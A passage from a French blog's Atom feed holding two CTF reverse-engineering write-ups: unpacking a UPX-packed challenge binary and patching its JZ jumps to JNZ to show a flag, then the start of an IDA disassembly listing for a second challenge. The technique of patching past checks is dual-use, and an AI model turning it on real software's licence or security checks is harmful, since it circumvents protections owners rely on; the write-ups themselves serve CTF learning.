&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7FuqNpyT-2nrvMSYASHWap6QTaXEAI8-SPZgkM8HOlI4jdnbur63GflM710fuGsAdFQI5o3K5_dPKqAyOypntYWogwhFL9OWXlpqhYbPjeFgHw5wvE2QhUchzJpTf7v9Htvjmk2jr9gpw/s1600/1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7FuqNpyT-2nrvMSYASHWap6QTaXEAI8-SPZgkM8HOlI4jdnbur63GflM710fuGsAdFQI5o3K5_dPKqAyOypntYWogwhFL9OWXlpqhYbPjeFgHw5wvE2QhUchzJpTf7v9Htvjmk2jr9gpw/s640/1.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
A partir de la j&#39;ai tout naturellement sortie Ida et me suis dis &quot;oups &quot;: à la seule vue du code ASM on pige direct qu&#39;il y a un packer la dessous alors.. PeID !&lt;br /&gt;
Ouf, fausse alerte enfin, si , packé mais un simple UPX donc&lt;span style=&quot;color: red;&quot;&gt; upx -d bin1.exe&lt;/span&gt;, on check et ok, unpacked.&lt;br /&gt;
A partir de la c&#39;est du classique on lance notre désassembleur préféré HT \o/ :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnsJJbxxaApEEM8zFx8sBMW_yhI1QzcyD3_xA0qqrvEkyPbX-bAldwGVlqiTt3-b0cvIizjY9AOQl30vYPMX4DVCegcuh-tIiW8mOdC2oCndkCQ3aLO_B9WAqbFeTzqgxmizKGJI_DVXLP/s1600/Screenshot-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnsJJbxxaApEEM8zFx8sBMW_yhI1QzcyD3_xA0qqrvEkyPbX-bAldwGVlqiTt3-b0cvIizjY9AOQl30vYPMX4DVCegcuh-tIiW8mOdC2oCndkCQ3aLO_B9WAqbFeTzqgxmizKGJI_DVXLP/s640/Screenshot-3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ok de la on a notre&lt;span style=&quot;color: #ffe599;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;EP (Entry Point)&lt;/span&gt; donc ne fait plus que suivre à partir de l&#39;adresse ou le binaire &quot;jumpe&quot; puis on regarde attentivement le code ASM en réalisant un dump ou encore avec un arbre des appels de fonctions, ce que fait&amp;nbsp;très&amp;nbsp;bien IdaPro:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrIsCIXBH1ouIBhcua1WGRJduQ2S5k5oWfoid1SzTk0h_zuXLtud-YDD_-wZb1kDCS4IKrE6tB6Q6lE0d5UFEP4Ooc4WkL8l1KH_mjVvlE2fTtPwp5LR8kThqwzT-Ku90_spRkhoBWbOIW/s1600/before.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrIsCIXBH1ouIBhcua1WGRJduQ2S5k5oWfoid1SzTk0h_zuXLtud-YDD_-wZb1kDCS4IKrE6tB6Q6lE0d5UFEP4Ooc4WkL8l1KH_mjVvlE2fTtPwp5LR8kThqwzT-Ku90_spRkhoBWbOIW/s640/before.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Bon donc la c&#39;est carrément easy, si vous etes des assidus de mon blog vous devriez savoir ce qu&#39;il reste à faire..non?&lt;br /&gt;
&lt;br /&gt;
Simple pourtant ! On vois clairement les conditions à bypasser afin de tomber sur le &lt;span style=&quot;color: #ffe599;&quot;&gt;&quot;Get_your_flag&lt;/span&gt;&quot; (explicite n&#39;est-ce pas) ce que nous allons d&#39;ailleurs faire immédiatement car le but est de valider un flag hein ;-) .&lt;br /&gt;
On va donc faire comme tout bon newbie et venir transformer nos&lt;span style=&quot;color: red;&quot;&gt; JZ&lt;/span&gt; en&lt;span style=&quot;color: red;&quot;&gt; JNZ&lt;/span&gt;, chmoder le binaire (&lt;span style=&quot;color: red;&quot;&gt;+x&lt;/span&gt;) et voir si notre intuition est la bonne auquel cas on aura poutrer ce premier challenge en 2 minutes chrono !!&lt;br /&gt;
&lt;br /&gt;
Les modifications apportées ( je ne reviendrai pas sur le comment car tout est expliquer&amp;nbsp;ailleurs&amp;nbsp;sur mon blog), voici ce que l&#39;on&amp;nbsp;obtiens&amp;nbsp;sous HTeditor:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq0e9FyZxkRpgQKWCHLsRqn_o_IpGxX9szrkXn2h2yKXIpvNYInY5p6rIsGQHrf0R5ZXzhve2L0q6D4JsCIKHanCwgCIlCXnaik028g4kaTZ_KJXWuwie6ckjLzbM4VyWsPZkEss-glz3l/s1600/patched.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq0e9FyZxkRpgQKWCHLsRqn_o_IpGxX9szrkXn2h2yKXIpvNYInY5p6rIsGQHrf0R5ZXzhve2L0q6D4JsCIKHanCwgCIlCXnaik028g4kaTZ_KJXWuwie6ckjLzbM4VyWsPZkEss-glz3l/s640/patched.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ou&amp;nbsp;sous&amp;nbsp;Ida avec un beau&amp;nbsp;graphe&amp;nbsp;de fonctions:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb8sEtSZ1zh9hytlI_Dgt3rk0y21L6KGgE_1jCNKqym-mp2kxGUwVBLZsslVOe86hAN3SEPArSdIAtEa7esm_XxCHowLW7LtPu9-b3qEh1otR7Ur92M47xhsqy8xWFfC9joWKNEjS5GjwB/s1600/patched_.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb8sEtSZ1zh9hytlI_Dgt3rk0y21L6KGgE_1jCNKqym-mp2kxGUwVBLZsslVOe86hAN3SEPArSdIAtEa7esm_XxCHowLW7LtPu9-b3qEh1otR7Ur92M47xhsqy8xWFfC9joWKNEjS5GjwB/s640/patched_.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
So, à présent exécutons notre binaire modifier pour vérifier tout cela..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF9D6m-tcHN5juB22DA8R_cdT0pNqdEZh1jAzO6ZQsthox0YKmOl9py4fPAleQSHvBqlJAqyKubcinbWTFhnP6AUE5Ez7fs_q6_TS87AlpManuxYV1qtlyAmBsOfZ2959EJtx2P9NlgqQS/s1600/2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;321&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF9D6m-tcHN5juB22DA8R_cdT0pNqdEZh1jAzO6ZQsthox0YKmOl9py4fPAleQSHvBqlJAqyKubcinbWTFhnP6AUE5Ez7fs_q6_TS87AlpManuxYV1qtlyAmBsOfZ2959EJtx2P9NlgqQS/s640/2.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Oh&amp;nbsp;ben ça&amp;nbsp;alors, un flag, plus qu&#39;a utiliser quelque xor (vu dans les fonctions précédentes) afin d&#39;en générer un md5 pour la validation, phase que je ne détaillerai hélas pas ici par manque de temps et je m&#39;en excuse car c&#39;est bien la le nerf de la guerre :S ...&lt;br /&gt;
&lt;br /&gt;
Ceci dit je me réserve plutot pour les writeups du CTF&amp;nbsp;de la semaine à venir: 29C3&amp;nbsp;&amp;nbsp; !!&lt;br /&gt;
&lt;br /&gt;
Voila pour ce petit writeup de rappel,&amp;nbsp;incomplet, je le regrette mais il&amp;nbsp;faut l&#39;avouer, il était simple: un&lt;span style=&quot;color: red;&quot;&gt; UPX -d&lt;/span&gt; et 2&lt;span style=&quot;color: red;&quot;&gt; \x75&lt;/span&gt; c&#39;est quand&amp;nbsp;même&amp;nbsp;pas violent aprés un petit calcul à faire et hop! &lt;br /&gt;
Mais au moins ça m&#39;aura permis de rédiger ce petit article qui, je le reconnais me donne envie de revenir rapidement en réécrire d&#39;autre beaucoup plus technique alors .. A&amp;nbsp;très&amp;nbsp;vite !!&lt;br /&gt;
&lt;br /&gt;
kmkz&lt;br /&gt;
&lt;h4 style=&quot;text-align: center;&quot;&gt;
&lt;u&gt;&lt;span style=&quot;color: yellow; font-size: large;&quot;&gt;Liste des writeups diponibles&lt;/span&gt;&lt;/u&gt;&lt;/h4&gt;
&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;http://blog.sergeybelove.ru/ctf/426&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;RealWorld100 (php/sql)&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://smokedchicken.org/2012/12/phdays-ctf-quals-2013-real-world-500.html&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;RealWorld500&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://bitsmash.wordpress.com/2012/12/17/2012-phdays-quals-pwn300-writeup/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;Pwn300&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://bitsmash.wordpress.com/2012/12/17/2012-phdays-quals-misc100-writeup/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;Misc100&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://gist.github.com/4317280&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;Misc400&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;(code)&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://f00l.de/blog/?p=1372&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: #f6b26b;&quot;&gt;Misc200(Deutch)&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1811629078313263834/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1811629078313263834' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1811629078313263834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1811629078313263834'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2012/12/write-up-phdays-ctf-quals-bin100.html' title='[Write-up] PHDays CTF (Quals) Bin100'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7FuqNpyT-2nrvMSYASHWap6QTaXEAI8-SPZgkM8HOlI4jdnbur63GflM710fuGsAdFQI5o3K5_dPKqAyOypntYWogwhFL9OWXlpqhYbPjeFgHw5wvE2QhUchzJpTf7v9Htvjmk2jr9gpw/s72-c/1.PNG" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-2785689575990066033</id><published>2011-01-17T22:37:00.013+01:00</published><updated>2011-01-17T23:09:39.844+01:00</updated><title type='text'>[Write-Up] Security By Default CTF :  Bin01 (reversing)</title><content type='html'>&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP1DlvMQrOFxVOVJREQ9mdbM_xdzOO8kblPCRrId92Jzo3OpB8EUWXWk_436GmaSp2HTiYBDU8PFMvbqFifIEM9ego1NE0ZgAoKY__uZ1-ihbQ4gK9HSLuwkmRQsqdg6nEM414DgF81pkL/s1600/secu_by_def_bin1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Ce week end avaient lieu le CTF &quot;Security By Default&quot; auquel nous avons participé.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Simultanément avait aussi lieu le Padocon qui lui aussi semblait vraiment simpa bien que d&#39;un niveau bien hard ;-) .&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Bref , concentrons-nous sur le sujet de ce billet , a savoir : le Bin01 du CTF &quot;Security By Default&quot;.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;La premiere chose que l&#39;on remarque dessuite via l&#39;utilitaire &quot;file&quot; : ce binaire est du type elf32 , non stippé .&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ainsi j&#39;ai pu facilement commencer dans un premier temp une rapide analyse a l&#39;aide d&#39;Hexrays&amp;nbsp; afin de réaliser un arbre des appels de fonctions ainsi que des dumps ASM puis C pour bien cerner la bête et voir comment agir.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;(Les parties du code ne nous intérréssant pas on bien sur été supprimées)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;color: #cccccc; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;font-family: Verdana,sans-serif;&quot;&gt; &amp;nbsp;&lt;/span&gt;&lt;b style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; ...&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset format ; &quot;\n--- Welcome to &#39;%s&#39; systems.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+6Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;%s&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+1894h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+58h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;%s&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; 